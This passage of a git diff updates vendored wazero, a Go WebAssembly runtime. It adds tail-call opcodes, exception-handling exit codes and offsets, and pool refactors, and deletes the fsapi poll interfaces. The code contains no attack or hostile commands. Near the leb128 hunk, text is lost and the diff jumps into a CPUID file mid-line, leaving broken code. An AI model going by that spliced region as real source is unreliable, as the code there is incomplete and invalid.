TypeV128, nil } + returnTypesFnCallIndirect = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { + sigID := SignatureID(instr.u1) + sig, ok := b.signatures[sigID] + if !ok { + panic("BUG") + } + switch len(sig.Results) { + case 0: + t1 = typeInvalid + case 1: + t1 = sig.Results[0] + default: + t1, ts = sig.Results[0], sig.Results[1:] + } + return + } + returnTypesFnCall = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { + sigID := SignatureID(instr.u2) + sig, ok := b.signatures[sigID] + if !ok { + panic("BUG") + } + switch len(sig.Results) { + case 0: + t1 = typeInvalid + case 1: + t1 = sig.Results[0] + default: + t1, ts = sig.Results[0], sig.Results[1:] + } + return + } ) // sideEffect provides the info to determine if an instruction has side effects which @@ -846,6 +886,8 @@ var instructionSideEffects = [opcodeEnd]sideEffect{ OpcodeAtomicStore: sideEffectStrict, OpcodeAtomicCas: sideEffectStrict, OpcodeFence: sideEffectStrict, + OpcodeTailCallReturnCall: sideEffectStrict, + OpcodeTailCallReturnCallIndirect: sideEffectStrict, OpcodeWideningPairwiseDotProductS: sideEffectNone, } @@ -860,105 +902,75 @@ func (i *Instruction) sideEffect() sideEffect { // instructionReturnTypes provides the function to determine the return types of an instruction. var instructionReturnTypes = [opcodeEnd]returnTypesFn{ - OpcodeExtIaddPairwise: returnTypesFnV128, - OpcodeVbor: returnTypesFnV128, - OpcodeVbxor: returnTypesFnV128, - OpcodeVband: returnTypesFnV128, - OpcodeVbnot: returnTypesFnV128, - OpcodeVbandnot: returnTypesFnV128, - OpcodeVbitselect: returnTypesFnV128, - OpcodeVanyTrue: returnTypesFnI32, - OpcodeVallTrue: returnTypesFnI32, - OpcodeVhighBits: returnTypesFnI32, - OpcodeVIadd: returnTypesFnV128, - OpcodeVSaddSat: returnTypesFnV128, - OpcodeVUaddSat: returnTypesFnV128, - OpcodeVIsub: returnTypesFnV128, - OpcodeVSsubSat: returnTypesFnV128, - OpcodeVUsubSat: returnTypesFnV128, - OpcodeVIcmp: returnTypesFnV128, - OpcodeVImin: returnTypesFnV128, - OpcodeVUmin: returnTypesFnV128, - OpcodeVImax: returnTypesFnV128, - OpcodeVUmax: returnTypesFnV128, - OpcodeVImul: returnTypesFnV128, - OpcodeVAvgRound: returnTypesFnV128, - OpcodeVIabs: returnTypesFnV128, - OpcodeVIneg: returnTypesFnV128, - OpcodeVIpopcnt: returnTypesFnV128, - OpcodeVIshl: returnTypesFnV128, - OpcodeVSshr: returnTypesFnV128, - OpcodeVUshr: returnTypesFnV128, - OpcodeExtractlane: returnTypesFnSingle, - OpcodeInsertlane: returnTypesFnV128, - OpcodeBand: returnTypesFnSingle, - OpcodeFcopysign: returnTypesFnSingle, - OpcodeBitcast: returnTypesFnSingle, - OpcodeBor: returnTypesFnSingle, - OpcodeBxor: returnTypesFnSingle, - OpcodeRotl: returnTypesFnSingle, - OpcodeRotr: returnTypesFnSingle, - OpcodeIshl: returnTypesFnSingle, - OpcodeSshr: returnTypesFnSingle, - OpcodeSdiv: returnTypesFnSingle, - OpcodeSrem: returnTypesFnSingle, - OpcodeUdiv: returnTypesFnSingle, - OpcodeUrem: returnTypesFnSingle, - OpcodeUshr: returnTypesFnSingle, - OpcodeJump: returnTypesFnNoReturns, - OpcodeUndefined: returnTypesFnNoReturns, - OpcodeIconst: returnTypesFnSingle, - OpcodeSelect: returnTypesFnSingle, - OpcodeSExtend: returnTypesFnSingle, - OpcodeUExtend: returnTypesFnSingle, - OpcodeSwidenLow: returnTypesFnV128, - OpcodeUwidenLow: returnTypesFnV128, - OpcodeSwidenHigh: returnTypesFnV128, - OpcodeUwidenHigh: returnTypesFnV128, - OpcodeSnarrow: returnTypesFnV128, - OpcodeUnarrow: returnTypesFnV128, - OpcodeSwizzle: returnTypesFnSingle, - OpcodeShuffle: returnTypesFnV128, - OpcodeSplat: returnTypesFnV128, - OpcodeIreduce: returnTypesFnSingle, - OpcodeFabs: returnTypesFnSingle, - OpcodeSqrt: returnTypesFnSingle, - OpcodeCeil: returnTypesFnSingle, - OpcodeFloor: returnTypesFnSingle, - OpcodeTrunc: returnTypesFnSingle, - OpcodeNearest: returnTypesFnSingle, - OpcodeCallIndirect: func(b *builder, instr *Instruction) (t1 Type, ts []Type) { - sigID := SignatureID(instr.u1) - sig, ok := b.signatures[sigID] - if !ok { - panic("BUG") - } - switch len(sig.Results) { - case 0: - t1 = typeInvalid - case 1: - t1 = sig.Results[0] - default: - t1, ts = sig.Results[0], sig.Results[1:] - } - return - }, - OpcodeCall: func(b *builder, instr *Instruction) (t1 Type, ts []Type) { - sigID := SignatureID(instr.u2) - sig, ok := b.signatures[sigID] - if !ok { - panic("BUG") - } - switch len(sig.Results) { - case 0: - t1 = typeInvalid - case 1: - t1 = sig.Results[0] - default: - t1, ts = sig.Results[0], sig.Results[1:] - } - return - }, + OpcodeExtIaddPairwise: returnTypesFnV128, + OpcodeVbor: returnTypesFnV128, + OpcodeVbxor: returnTypesFnV128, + OpcodeVband: returnTypesFnV128, + OpcodeVbnot: returnTypesFnV128, + OpcodeVbandnot: returnTypesFnV128, + OpcodeVbitselect: returnTypesFnV128, + OpcodeVanyTrue: returnTypesFnI32, + OpcodeVallTrue: returnTypesFnI32, + OpcodeVhighBits: returnTypesFnI32, + OpcodeVIadd: returnTypesFnV128, + OpcodeVSaddSat: returnTypesFnV128, + OpcodeVUaddSat: returnTypesFnV128, + OpcodeVIsub: returnTypesFnV128, + OpcodeVSsubSat: returnTypesFnV128, + OpcodeVUsubSat: returnTypesFnV128, + OpcodeVIcmp: returnTypesFnV128, + OpcodeVImin: returnTypesFnV128, + OpcodeVUmin: returnTypesFnV128, + OpcodeVImax: returnTypesFnV128, + OpcodeVUmax: returnTypesFnV128, + OpcodeVImul: returnTypesFnV128, + OpcodeVAvgRound: returnTypesFnV128, + OpcodeVIabs: returnTypesFnV128, + OpcodeVIneg: returnTypesFnV128, + OpcodeVIpopcnt: returnTypesFnV128, + OpcodeVIshl: returnTypesFnV128, + OpcodeVSshr: returnTypesFnV128, + OpcodeVUshr: returnTypesFnV128, + OpcodeExtractlane: returnTypesFnSingle, + OpcodeInsertlane: returnTypesFnV128, + OpcodeBand: returnTypesFnSingle, + OpcodeFcopysign: returnTypesFnSingle, + OpcodeBitcast: returnTypesFnSingle, + OpcodeBor: returnTypesFnSingle, + OpcodeBxor: returnTypesFnSingle, + OpcodeRotl: returnTypesFnSingle, + OpcodeRotr: returnTypesFnSingle, + OpcodeIshl: returnTypesFnSingle, + OpcodeSshr: returnTypesFnSingle, + OpcodeSdiv: returnTypesFnSingle, + OpcodeSrem: returnTypesFnSingle, + OpcodeUdiv: returnTypesFnSingle, + OpcodeUrem: returnTypesFnSingle, + OpcodeUshr: returnTypesFnSingle, + OpcodeJump: returnTypesFnNoReturns, + OpcodeUndefined: returnTypesFnNoReturns, + OpcodeIconst: returnTypesFnSingle, + OpcodeSelect: returnTypesFnSingle, + OpcodeSExtend: returnTypesFnSingle, + OpcodeUExtend: returnTypesFnSingle, + OpcodeSwidenLow: returnTypesFnV128, + OpcodeUwidenLow: returnTypesFnV128, + OpcodeSwidenHigh: returnTypesFnV128, + OpcodeUwidenHigh: returnTypesFnV128, + OpcodeSnarrow: returnTypesFnV128, + OpcodeUnarrow: returnTypesFnV128, + OpcodeSwizzle: returnTypesFnSingle, + OpcodeShuffle: returnTypesFnV128, + OpcodeSplat: returnTypesFnV128, + OpcodeIreduce: returnTypesFnSingle, + OpcodeFabs: returnTypesFnSingle, + OpcodeSqrt: returnTypesFnSingle, + OpcodeCeil: returnTypesFnSingle, + OpcodeFloor: returnTypesFnSingle, + OpcodeTrunc: returnTypesFnSingle, + OpcodeNearest: returnTypesFnSingle, + OpcodeCallIndirect: returnTypesFnCallIndirect, + OpcodeCall: returnTypesFnCall, OpcodeLoad: returnTypesFnSingle, OpcodeVZeroExtLoad: returnTypesFnV128, OpcodeLoadSplat: returnTypesFnV128, @@ -1032,6 +1044,8 @@ var instructionReturnTypes = [opcodeEnd]returnTypesFn{ OpcodeAtomicStore: returnTypesFnNoReturns, OpcodeAtomicCas: returnTypesFnSingle, OpcodeFence: returnTypesFnNoReturns, + OpcodeTailCallReturnCallIndirect: returnTypesFnCallIndirect, + OpcodeTailCallReturnCall: returnTypesFnCall, OpcodeWideningPairwiseDotProductS: returnTypesFnV128, } @@ -2038,6 +2052,25 @@ func (i *Instruction) AtomicTargetSize() (size uint64) { return i.u1 } +// AsTailCallReturnCall initializes this instruction as a call instruction with OpcodeTailCallReturnCall. +func (i *Instruction) AsTailCallReturnCall(ref FuncRef, sig *Signature, args Values) { + i.opcode = OpcodeTailCallReturnCall + i.u1 = uint64(ref) + i.vs = args + i.u2 = uint64(sig.ID) + sig.used = true +} + +// AsTailCallReturnCallIndirect initializes this instruction as a call-indirect instruction with OpcodeTailCallReturnCallIndirect. +func (i *Instruction) AsTailCallReturnCallIndirect(funcPtr Value, sig *Signature, args Values) *Instruction { + i.opcode = OpcodeTailCallReturnCallIndirect + i.vs = args + i.v = funcPtr + i.u1 = uint64(sig.ID) + sig.used = true + return i +} + // ReturnVals returns the return values of OpcodeReturn. func (i *Instruction) ReturnVals() []Value { return i.vs.View() @@ -2166,7 +2199,7 @@ func (i *Instruction) AsCall(ref FuncRef, sig *Signature, args Values) { // CallData returns the call data for this instruction necessary for backends. func (i *Instruction) CallData() (ref FuncRef, sigID SignatureID, args []Value) { - if i.opcode != OpcodeCall { + if i.opcode != OpcodeCall && i.opcode != OpcodeTailCallReturnCall { panic("BUG: CallData only available for OpcodeCall") } ref = FuncRef(i.u1) @@ -2195,8 +2228,8 @@ func (i *Instruction) AsCallGoRuntimeMemmove(funcPtr Value, sig *Signature, args // CallIndirectData returns the call indirect data for this instruction necessary for backends. func (i *Instruction) CallIndirectData() (funcPtr Value, sigID SignatureID, args []Value, isGoMemmove bool) { - if i.opcode != OpcodeCallIndirect { - panic("BUG: CallIndirectData only available for OpcodeCallIndirect") + if i.opcode != OpcodeCallIndirect && i.opcode != OpcodeTailCallReturnCallIndirect { + panic("BUG: CallIndirectData only available for OpcodeCallIndirect and OpcodeTailCallReturnCallIndirect") } funcPtr = i.v sigID = SignatureID(i.u1) @@ -2620,6 +2653,17 @@ func (i *Instruction) Format(b Builder) string { instSuffix = fmt.Sprintf("_%d, %s, %s, %s", 8*i.u1, i.v.Format(b), i.v2.Format(b), i.v3.Format(b)) case OpcodeFence: instSuffix = fmt.Sprintf(" %d", i.u1) + case OpcodeTailCallReturnCall, OpcodeTailCallReturnCallIndirect: + view := i.vs.View() + vs := make([]string, len(view)) + for idx := range vs { + vs[idx] = view[idx].Format(b) + } + if i.opcode == OpcodeCallIndirect { + instSuffix = fmt.Sprintf(" %s:%s, %s", i.v.Format(b), SignatureID(i.u1), strings.Join(vs, ", ")) + } else { + instSuffix = fmt.Sprintf(" %s:%s, %s", FuncRef(i.u1), SignatureID(i.u2), strings.Join(vs, ", ")) + } case OpcodeWideningPairwiseDotProductS: instSuffix = fmt.Sprintf(" %s, %s", i.v.Format(b), i.v2.Format(b)) default: @@ -2879,6 +2923,10 @@ func (o Opcode) String() (ret string) { return "AtomicStore" case OpcodeFence: return "Fence" + case OpcodeTailCallReturnCall: + return "ReturnCall" + case OpcodeTailCallReturnCallIndirect: + return "ReturnCallIndirect" case OpcodeVbor: return "Vbor" case OpcodeVbxor: diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/debug_options.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/debug_options.go index 2db61e21..783ab122 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/debug_options.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/debug_options.go @@ -6,6 +6,7 @@ import ( "fmt" "math/rand" "os" + "sync" "time" ) @@ -91,7 +92,7 @@ type ( initialCompilationDone bool maybeRandomizedIndexes []int r *rand.Rand - values map[string]string + values sync.Map } verifierStateContextKey struct{} currentFunctionNameKey struct{} @@ -106,31 +107,24 @@ func NewDeterministicCompilationVerifierContext(ctx context.Context, localFuncti } r := rand.New(rand.NewSource(time.Now().UnixNano())) return context.WithValue(ctx, verifierStateContextKey{}, &verifierState{ - r: r, maybeRandomizedIndexes: maybeRandomizedIndexes, values: map[string]string{}, + r: r, maybeRandomizedIndexes: maybeRandomizedIndexes, values: sync.Map{}, }) } // DeterministicCompilationVerifierRandomizeIndexes randomizes the indexes for the deterministic compilation verifier. -// To get the randomized index, use DeterministicCompilationVerifierGetRandomizedLocalFunctionIndex. -func DeterministicCompilationVerifierRandomizeIndexes(ctx context.Context) { +// Returns a slice that maps an index to the randomized index. +func DeterministicCompilationVerifierRandomizeIndexes(ctx context.Context) []int { state := ctx.Value(verifierStateContextKey{}).(*verifierState) if !state.initialCompilationDone { // If this is the first attempt, we use the index as-is order. state.initialCompilationDone = true - return + return state.maybeRandomizedIndexes } r := state.r r.Shuffle(len(state.maybeRandomizedIndexes), func(i, j int) { state.maybeRandomizedIndexes[i], state.maybeRandomizedIndexes[j] = state.maybeRandomizedIndexes[j], state.maybeRandomizedIndexes[i] }) -} - -// DeterministicCompilationVerifierGetRandomizedLocalFunctionIndex returns the randomized index for the given `index` -// which is assigned by DeterministicCompilationVerifierRandomizeIndexes. -func DeterministicCompilationVerifierGetRandomizedLocalFunctionIndex(ctx context.Context, index int) int { - state := ctx.Value(verifierStateContextKey{}).(*verifierState) - ret := state.maybeRandomizedIndexes[index] - return ret + return state.maybeRandomizedIndexes } // VerifyOrSetDeterministicCompilationContextValue verifies that the `newValue` is the same as the previous value for the given `scope` @@ -141,9 +135,8 @@ func VerifyOrSetDeterministicCompilationContextValue(ctx context.Context, scope fn := ctx.Value(currentFunctionNameKey{}).(string) key := fn + ": " + scope verifierCtx := ctx.Value(verifierStateContextKey{}).(*verifierState) - oldValue, ok := verifierCtx.values[key] - if !ok { - verifierCtx.values[key] = newValue + oldValue, loaded := verifierCtx.values.LoadOrStore(key, newValue) + if !loaded { return } if oldValue != newValue { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/exitcode.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/exitcode.go index 5ad59498..1055e478 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/exitcode.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/exitcode.go @@ -30,6 +30,25 @@ const ( ExitCodeMemoryWait64 ExitCodeMemoryNotify ExitCodeUnalignedAtomic + // ExitCodeThrowAlloc is the first phase of wasm throw: Go allocates the + // Exception heap object (with Params sized to the tag's param count) and + // writes its Params data pointer to execCtx.exceptionParamsPtr. + // Compiled code then stores params directly into the Exception.Params slice, + // followed by ExitCodeThrow to search for a matching handler. + ExitCodeThrowAlloc + // ExitCodeThrow is the shared throw/throw_ref exit code. + // The exnref is passed on the stack. The handler searches for a + // matching catch clause and restores the stack checkpoint. + ExitCodeThrow + // ExitCodeNullReference is an exit code for a null reference trap (throw_ref with null exnref). + ExitCodeNullReference + // ExitCodeTryTableEnter is an exit code for entering a try_table block. + // The catch clause info is encoded in the upper bits. The dispatch loop + // saves the current SP/FP/returnAddress as a try handler checkpoint. + ExitCodeTryTableEnter + // ExitCodeTryTableLeave is an exit code for leaving a try_table block. + // The dispatch loop pops the most recent try handler. + ExitCodeTryTableLeave exitCodeMax ) @@ -86,6 +105,16 @@ func (e ExitCode) String() string { return "memory_wait64" case ExitCodeMemoryNotify: return "memory_notify" + case ExitCodeThrowAlloc: + return "throw_alloc" + case ExitCodeThrow: + return "throw" + case ExitCodeNullReference: + return "null_reference" + case ExitCodeTryTableEnter: + return "try_table_enter" + case ExitCodeTryTableLeave: + return "try_table_leave" } panic("TODO") } @@ -107,3 +136,15 @@ func ExitCodeCallGoFunctionWithIndex(index int, withListener bool) ExitCode { func GoFunctionIndexFromExitCode(exitCode ExitCode) int { return int(exitCode >> 8) } + +// TryTableIDFromExitCode extracts the try-table ID from an ExitCodeTryTableEnter +// exit code. Uses the same encoding as GoFunctionIndexFromExitCode (upper 24 bits). +func TryTableIDFromExitCode(exitCode ExitCode) int { + return GoFunctionIndexFromExitCode(exitCode) +} + +// CatchClauseInstance is a runtime catch clause with resolved tag index. +type CatchClauseInstance struct { + Kind byte // wasm.CatchKindCatch, etc. + TagIndex uint32 // module-local tag index +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/offsetdata.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/offsetdata.go index fe6161b0..854365f9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/offsetdata.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/offsetdata.go @@ -53,6 +53,23 @@ const ( ExecutionContextOffsetMemoryWait32TrampolineAddress Offset = 1160 ExecutionContextOffsetMemoryWait64TrampolineAddress Offset = 1168 ExecutionContextOffsetMemoryNotifyTrampolineAddress Offset = 1176 + // ExecutionContextOffsetThrowAllocTrampolineAddress is the address of the + // throw-alloc trampoline, which allocates the Exception heap object, + // sets exceptionParamsPtr, and returns the exnref. + ExecutionContextOffsetThrowAllocTrampolineAddress Offset = 1184 + ExecutionContextOffsetThrowTrampolineAddress Offset = 1192 + ExecutionContextOffsetTryTableEnterTrampolineAddress Offset = 1200 + ExecutionContextOffsetTryTableLeaveTrampolineAddress Offset = 1208 + // ExecutionContextOffsetExceptionPtr holds the pointer to the Exception struct, + // used on the throw side and by catch_ref/catch_all_ref handlers. + ExecutionContextOffsetExceptionPtr Offset = 1216 + // ExecutionContextOffsetExceptionParamsPtr points into the Exception's + // Params slice backing array. Used by both throw (store params) and + // catch (load params) sides. + ExecutionContextOffsetExceptionParamsPtr Offset = 1224 + // ExecutionContextOffsetCaughtExceptionClauseIdx is the matched catch clause index + // written by handleException and read by compiled handler dispatch code. + ExecutionContextOffsetCaughtExceptionClauseIdx Offset = 1232 ) // ModuleContextOffsetData allows the compilers to get the information about offsets to the fields of wazevo.moduleContextOpaque, @@ -66,6 +83,7 @@ type ModuleContextOffsetData struct { GlobalsBegin, TypeIDs1stElement, TablesBegin, + TagsBegin, BeforeListenerTrampolines1stElement, AfterListenerTrampolines1stElement, DataInstances1stElement, @@ -122,6 +140,11 @@ func (m *ModuleContextOffsetData) TableOffset(tableIndex int) Offset { return m.TablesBegin + Offset(tableIndex)*8 } +// TagOffset returns an offset of the i-th tag instance pointer. +func (m *ModuleContextOffsetData) TagOffset(tagIndex int) Offset { + return m.TagsBegin + Offset(tagIndex)*8 +} + // NewModuleContextOffsetData creates a ModuleContextOffsetData determining the structure of moduleContextOpaque for the given Module. // The structure is described in the comment of wazevo.moduleContextOpaque. func NewModuleContextOffsetData(m *wasm.Module, withListener bool) ModuleContextOffsetData { @@ -185,6 +208,15 @@ func NewModuleContextOffsetData(m *wasm.Module, withListener bool) ModuleContext ret.TablesBegin = -1 } + if tags := int(m.ImportTagCount) + len(m.TagSection); tags > 0 { + offset = align8(offset) + ret.TagsBegin = offset + // Pointers to *wasm.TagInstance. + offset += Offset(tags) * 8 + } else { + ret.TagsBegin = -1 + } + if withListener { offset = align8(offset) ret.BeforeListenerTrampolines1stElement = offset diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/pool.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/pool.go index 313e34f9..d67a3262 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/pool.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/pool.go @@ -69,7 +69,7 @@ type IDedPool[T any] struct { // NewIDedPool returns a new IDedPool. func NewIDedPool[T any](resetFn func(*T)) IDedPool[T] { - return IDedPool[T]{pool: NewPool[T](resetFn), maxIDEncountered: -1} + return IDedPool[T]{pool: NewPool(resetFn), maxIDEncountered: -1} } // GetOrAllocate returns the T with the given id. @@ -134,10 +134,10 @@ type VarLength[T any] struct { // NewVarLengthPool returns a new VarLengthPool. func NewVarLengthPool[T any]() VarLengthPool[T] { return VarLengthPool[T]{ - arrayPool: NewPool[varLengthPoolArray[T]](func(v *varLengthPoolArray[T]) { + arrayPool: NewPool(func(v *varLengthPoolArray[T]) { v.next = 0 }), - slicePool: NewPool[[]T](func(i *[]T) { + slicePool: NewPool(func(i *[]T) { *i = (*i)[:0] }), } @@ -155,6 +155,9 @@ func (p *VarLengthPool[T]) Allocate(knownMin int) VarLength[T] { return VarLength[T]{arr: arr} } slc := p.slicePool.Allocate() + if cap(*slc) < knownMin { + *slc = make([]T, 0, knownMin) + } return VarLength[T]{slc: slc} } @@ -166,39 +169,36 @@ func (p *VarLengthPool[T]) Reset() { // Append appends items to the backing slice just like the `append` builtin function in Go. func (i VarLength[T]) Append(p *VarLengthPool[T], items ...T) VarLength[T] { - if i.slc != nil { - *i.slc = append(*i.slc, items...) + slc := i.slc + if slc != nil { + *slc = append(*slc, items...) return i } - if i.arr == nil { - i.arr = p.arrayPool.Allocate() + arr := i.arr + if arr == nil { + arr = p.arrayPool.Allocate() + i.arr = arr } - arr := i.arr if arr.next+len(items) <= arraySize { - for _, item := range items { - arr.arr[arr.next] = item - arr.next++ - } + arr.next += copy(arr.arr[arr.next:], items) } else { - slc := p.slicePool.Allocate() + slc = p.slicePool.Allocate() // Copy the array to the slice. - for ptr := 0; ptr < arr.next; ptr++ { - *slc = append(*slc, arr.arr[ptr]) - } + *slc = append(*slc, arr.arr[:arr.next]...) + *slc = append(*slc, items...) i.slc = slc - *i.slc = append(*i.slc, items...) } return i } // View returns the backing slice. func (i VarLength[T]) View() []T { - if i.slc != nil { + if slc := i.slc; slc != nil { return *i.slc - } else if i.arr != nil { - arr := i.arr + } + if arr := i.arr; arr != nil { return arr.arr[:arr.next] } return nil @@ -207,9 +207,9 @@ func (i VarLength[T]) View() []T { // Cut cuts the backing slice to the given length. // Precondition: n <= len(i.backing). func (i VarLength[T]) Cut(n int) { - if i.slc != nil { - *i.slc = (*i.slc)[:n] - } else if i.arr != nil { - i.arr.next = n + if slc := i.slc; slc != nil { + *slc = (*slc)[:n] + } else if arr := i.arr; arr != nil { + arr.next = n } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/ptr.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/ptr.go index f21e1a5d..c17d665b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/ptr.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi/ptr.go @@ -8,8 +8,8 @@ func PtrFromUintptr[T any](ptr uintptr) *T { // Wraps ptrs as the double pointer in order to avoid the unsafe access as detected by race detector. // // For example, if we have (*function)(unsafe.Pointer(ptr)) instead, then the race detector's "checkptr" - // subroutine wanrs as "checkptr: pointer arithmetic result points to invalid allocation" - // https://github.com/golang/go/blob/1ce7fcf139417d618c2730010ede2afb41664211/src/runtime/checkptr.go#L69 + // subroutine warns as "checkptr: pointer arithmetic result points to invalid allocation" + // https://github.com/golang/go/blob/go1.24.0/src/runtime/checkptr.go#L69 var wrapped *uintptr = &ptr return *(**T)(unsafe.Pointer(wrapped)) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/expctxkeys/compilationworkers.go b/vendor/github.com/tetratelabs/wazero/internal/expctxkeys/compilationworkers.go new file mode 100644 index 00000000..a79c4889 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/expctxkeys/compilationworkers.go @@ -0,0 +1,6 @@ +package expctxkeys + +// CompilationWorkers is a context.Context Value key. +// Its associated value should be an int representing the number of workers +// we want to spawn to compile a given wasm input. +type CompilationWorkers struct{} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go deleted file mode 100644 index 0640b227..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go +++ /dev/null @@ -1,69 +0,0 @@ -package fsapi - -import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - -// File includes methods not yet ready to document for end users, notably -// non-blocking functionality. -// -// Particularly, Poll is subject to debate. For example, whether a user should -// be able to choose how to implement timeout or not. Currently, this interface -// allows the user to choose to sleep or use native polling, and which choice -// they make impacts thread behavior as summarized here: -// https://github.com/tetratelabs/wazero/pull/1606#issuecomment-1665475516 -type File interface { - experimentalsys.File - - // IsNonblock returns true if the file was opened with O_NONBLOCK, or - // SetNonblock was successfully enabled on this file. - // - // # Notes - // - // - This might not match the underlying state of the file descriptor if - // the file was not opened via OpenFile. - IsNonblock() bool - - // SetNonblock toggles the non-blocking mode (O_NONBLOCK) of this file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.SetNonblock and `fcntl` with O_NONBLOCK in - // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html - SetNonblock(enable bool) experimentalsys.Errno - - // Poll returns if the file has data ready to be read or written. - // - // # Parameters - // - // The `flag` parameter determines which event to await, such as POLLIN, - // POLLOUT, or a combination like `POLLIN|POLLOUT`. - // - // The `timeoutMillis` parameter is how long to block for an event, or - // interrupted, in milliseconds. There are two special values: - // - zero returns immediately - // - any negative value blocks any amount of time - // - // # Results - // - // `ready` means there was data ready to read or written. False can mean no - // event was ready or `errno` is not zero. - // - // A zero `errno` is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - ENOTSUP: the implementation does not the flag combination. - // - EINTR: the call was interrupted prior to an event. - // - // # Notes - // - // - This is like `poll` in POSIX, for a single file. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/poll.html - // - No-op files, such as those which read from /dev/null, should return - // immediately true, as data will never become available. - // - See /RATIONALE.md for detailed notes including impact of blocking. - Poll(flag Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go deleted file mode 100644 index 25f7c571..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go +++ /dev/null @@ -1,20 +0,0 @@ -package fsapi - -// Pflag are bit flags used for File.Poll. Values, including zero, should not -// be interpreted numerically. Instead, use by constants prefixed with 'POLL'. -// -// # Notes -// -// - This is like `pollfd.events` flags for `poll` in POSIX. See -// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/poll.h.html -type Pflag uint32 - -// Only define bitflags we support and are needed by `poll_oneoff` in wasip1 -// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#eventrwflags -const ( - // POLLIN is a read event. - POLLIN Pflag = 1 << iota - - // POLLOUT is a write event. - POLLOUT -) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go deleted file mode 100644 index 99d9c2db..00000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go +++ /dev/null @@ -1,27 +0,0 @@ -package fsapi - -import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - -func Adapt(f experimentalsys.File) File { - if f, ok := f.(File); ok { - return f - } - return unimplementedFile{f} -} - -type unimplementedFile struct{ experimentalsys.File } - -// IsNonblock implements File.IsNonblock -func (unimplementedFile) IsNonblock() bool { - return false -} - -// SetNonblock implements File.SetNonblock -func (unimplementedFile) SetNonblock(bool) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Poll implements File.Poll -func (unimplementedFile) Poll(Pflag, int32) (ready bool, errno experimentalsys.Errno) { - return false, experimentalsys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/leb128/leb128.go b/vendor/github.com/tetratelabs/wazero/internal/leb128/leb128.go index a3105172..7fc0eb9c 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/leb128/leb128.go +++ b/vendor/github.com/tetratelabs/wazero/internal/leb128/leb128.go @@ -109,7 +109,7 @@ func LoadUint32(buf []byte) (ret uint32, bytesRead uint64, err error) { } func decodeUint32(next nextByte) (ret uint32, bytesRead uint64, err error) { - // Derived from https://github.com/golang/go/blob/go1.20/src/encoding/binary/varint.go + // Derived from https://github.com/golang/go/blob/go1.24.0/src/encoding/binary/varint.go // with the modification on the overflow handling tailored for 32-bits. var s uint32 for i := 0; i < maxVarintLen32; i++ { @@ -124,7 +124,7 @@ func decodeUint32(next nextByte) (ret uint32, bytesRead uint64, err error) { } return ret | uint32(b)<= bufLen { @@ -150,7 +150,7 @@ func LoadUint64(buf []byte) (ret uint64, bytesRead uint64, err error) { } return ret | uint64(b)< maxRange { - panic("cannot query standard CPU flags") - } - return cpuidAsBitmap(id, 0) -} - -// loadStandardRange load flags from the extended range, panics otherwise. -func loadExtendedRange(id uint32) uint64 { - // ensure that the id is in the valid range, returned by cpuid(0x80000000,0) - maxRange, _, _, _ := cpuid(0x80000000, 0) - if id > maxRange { - panic("cannot query extended CPU flags") - } - return cpuidAsBitmap(id, 0) -} - -func loadCpuFeatureFlags() CpuFeatureFlags { - return &cpuFeatureFlags{ - flags: loadStandardRange(1), - extraFlags: loadExtendedRange(0x80000001), - } -} - -// Has implements the same method on the CpuFeatureFlags interface. -func (f *cpuFeatureFlags) Has(cpuFeature CpuFeature) bool { - return (f.flags & uint64(cpuFeature)) != 0 -} - -// HasExtra implements the same method on the CpuFeatureFlags interface. -func (f 